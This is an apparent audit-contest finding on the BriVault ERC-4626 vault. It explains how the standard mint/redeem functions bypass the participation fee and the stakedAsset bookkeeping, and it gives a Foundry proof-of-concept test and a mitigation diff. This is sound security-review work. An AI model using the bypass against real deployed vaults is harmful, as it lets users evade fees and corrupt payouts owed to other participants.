BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

M04. ERC‑4626 mint/redeem Bypass of Participation Fee and Bookkeeping (Inconsistent ERC‑4626 Overrides)

accessdenied

Root + Impact

Description

  • Normal behavior: ERC‑4626 exposes public entry points (deposit, mint, withdraw, redeem) that funnel to internal workflows (_deposit, _withdraw). Implementations that add custom rules (fees, participation checks, per-user bookkeeping) must ensure all public flows execute the same internal rules so shares always represent the same economic claim.

  • Actual problem: BriVault implements participation fees and per-user bookkeeping in its public deposit(...) override, but leaves the standard ERC‑4626 mint/redeem (and their internal _deposit/_withdraw behavior) pointing at OpenZeppelin’s base flows. This allows callers to use mint/redeem to acquire or redeem shares without the participation fee or the stakedAsset / userSharesToCountry bookkeeping being updated, creating accounting inconsistencies and economic bypasses.

// Root cause: BriVault overrides the public ERC-4626 deposit but not the internal _deposit/_withdraw logic
// so public mint() -> _deposit() still uses OZ default behavior and bypasses BriVault-specific logic.
​
@> // in BriVault.sol
@> function deposit(uint256 assets, address receiver) public override returns (uint256) {
@> // custom fee, checks, stakedAsset bookkeeping
@> uint256 fee = _getParticipationFee(assets);
@> // transfers and _mint occur here in custom code
@> }
​
@> // but OZ ERC4626 exposes mint() that calls _deposit(...)
@> // mint(...) public -> previewMint() -> _deposit(_msgSender(), receiver, assets, shares)
// since BriVault did not override _deposit to include the same fee/bookkeeping, mint() bypasses deposit logic
​

Risk

Likelihood:

  • External users, integrators, or bots use the standard mint(...) entrypoint (exposed by ERC‑4626) to acquire shares.

  • Wallets, aggregators, or other smart contracts that assume standard ERC‑4626 behavior call mint/redeem instead of the custom deposit/withdraw.

Impact:

  • Participation fees are bypassed and participationFeeAddress receives fewer fees, causing revenue leakage.

  • Shares can be created without stakedAsset or userSharesToCountry bookkeeping; resulting shares are not tracked for the tournament logic and can be moved/transferred to corrupt winner calculations or be redeemed via ERC‑4626 flows, corrupting final payouts.

Proof of Concept

function test_mintBypassDeposit() public {
// user5 will be our attacker
vm.startPrank(user5);
​
// approve the vault for underlying tokens
mockToken.approve(address(briVault), 5 ether);
​
// Step 1: mint shares directly using ERC-4626 interface instead of deposit
uint256 sharesMinted = briVault.mint(5 ether, user5);
​
// Step 2: Check that stakedAsset and tournament bookkeeping were NOT updated
uint256 staked = briVault.stakedAsset(user5);
uint256 sharesForCountry = briVault.userSharesToCountry(user5, 0); // country 0 as example
​
console.log("Shares minted via mint():", sharesMinted);
console.log("stakedAsset after mint():", staked);
console.log("userSharesToCountry after mint():", sharesForCountry);
​
assertEq(staked, 0, "stakedAsset should be 0; mint bypassed deposit bookkeeping");
assertEq(sharesForCountry, 0, "userSharesToCountry should be 0; mint bypassed joinEvent");
​
// Step 3: attacker transfers minted shares to another user (victim)
briVault.transfer(user1, sharesMinted);
assertEq(briVault.balanceOf(user1), sharesMinted, "Victim received minted shares");
​
vm.stopPrank();
}

Explanation of this PoC:

  1. user5 approves the vault to spend 5 ETH worth of the mock token.

  2. mint() is called directly, bypassing the deposit() logic that would normally handle:

    • Participation fee transfer to participationFeeAddress.

    • Updating stakedAsset[user].

    • Any country/tournament bookkeeping (userSharesToCountry).

  3. Assertions confirm that no vault bookkeeping occurred (stakedAsset and userSharesToCountry remain 0).

  4. user5 can transfer the shares to another participant, effectively inflating their voting/withdrawal power without paying the fee.

Recommended Mitigation

Short explanation: unify BriVault’s custom rules (participation fee, minimum amount, per-user stakedAsset bookkeeping, and any restrictions on timing) into the internal ERC‑4626 workflows by overriding _deposit and _withdraw (the internal hooks). That way all public entrypoints (deposit and mint) go through the same logic and cannot bypass fees or bookkeeping. Also ensure preview and limit functions reflect the new semantics.

Functions to update: _deposit, _withdraw, and (optionally) previewMint, previewRedeem, maxDeposit, maxMint.

- // remove custom public deposit override that handles transfers/fee/bookkeeping
- function deposit(uint256 assets, address receiver) public override returns (uint256) {
- require(receiver != address(0));
- if (block.timestamp >= eventStartDate) { revert eventStarted(); }
- uint256 fee = _getParticipationFee(assets);
- if (minimumAmount + fee > assets) { revert lowFeeAndAmount(); }
- uint256 stakeAsset = assets - fee;
- stakedAsset[receiver] = stakeAsset;
- uint256 participantShares = _convertToShares(stakeAsset);
- IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
- IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset);
- _mint(msg.sender, participantShares);
- emit deposited (receiver, stakeAsset);
- return participantShares;
- }
​
+ // add an override of the internal _deposit so all public flows (deposit/mint) use this logic
+ function _deposit(address caller, address receiver, uint256 assets, uint256 shares) internal override {
+ // enforce timing and amount rules common to both deposit() and mint()
+ if (block.timestamp >= eventStartDate) {
+ revert eventStarted();
+ }
+ uint256 fee = _getParticipationFee(assets);
+ if (minimumAmount + fee > assets) {
+ revert lowFeeAndAmount();
+ }
+ uint256 stakeAsset = assets - fee;
+
+ // transfer fee first
+ IERC20(asset()).safeTransferFrom(caller, participationFeeAddress, fee);
+ // transfer the remaining stake to the vault
+ IERC20(asset()).safeTransferFrom(caller, address(this), stakeAsset);
+
+ // bookkeeping: accumulate per-receiver deposits & shares
+ stakedAsset[receiver] += stakeAsset;
+ // if you track depositedShares add: depositedShares[receiver] += shares;
+ // mint shares to receiver (same effect as OZ)
+ _mint(receiver, shares);
+
+ emit deposited(caller, receiver, stakeAsset);
+ }
​
- // remove/replace any _withdraw mismatch that bypasses tournament logic
- // (BriVault had a custom withdraw flow outside ERC4626; ensure ERC4626 redeem maps to same logic)
+ // add an override of _withdraw to ensure redemptions follow tournament/accounting rules
+ function _withdraw(address caller, address receiver, address owner, uint256 assets, uint256 shares) internal override {
+ // If caller is not the owner spend allowance (preserve OZ behavior)
+ if (caller != owner) {
+ _spendAllowance(owner, caller, shares);
+ }
+
+ // Enforce tournament/winner rules or bookkeeping updates:
+ // e.g., update stakedAsset and depositedShares proportionally (or require appropriate conditions)
+ // Example: reduce stakedAsset[owner] proportionally to shares being withdrawn
+ uint256 ownerStaked = stakedAsset[owner];
+ if (ownerStaked > 0) {
+ // compute assets equivalent and subtract from stakedAsset
+ uint256 assetsEquivalent = Math.mulDiv(shares, ownerStaked, balanceOf(owner)); // careful: use safe math and intended logic
+ stakedAsset[owner] = ownerStaked - assetsEquivalent;
+ }
+
+ // Burn shares then transfer out assets (same order as OZ)
+ _burn(owner, shares);
+ IERC20(asset()).safeTransfer(receiver, assets);
+
+ emit Withdraw(caller, receiver, owner, assets, shares);
+ }
​

Notes and follow-ups:

  • Update previewMint, previewRedeem, maxDeposit, maxMint to reflect the effective assets/shares and any caps the vault imposes (OpenZeppelin warns that overrides must be consistent across public and preview functions).

  • Carefully test rounding edge cases in _convertToShares / _convertToAssets after integrating fee logic.

  • If exact proportional decrement of stakedAsset on redeem is not desired (because tournament logic treats deposits as locked until end), consider disallowing redeem for tournament shares (but keep ERC‑4626 compatibility by documenting this behavior and implementing maxRedeem/maxWithdraw appropriately).

This change preserves ERC‑4626 public surface (mint/redeem) while guaranteeing no public path can bypass participation fees or the vault’s bookkeeping.

Updates

Appeal created

bube Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unrestricted ERC4626 functions

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!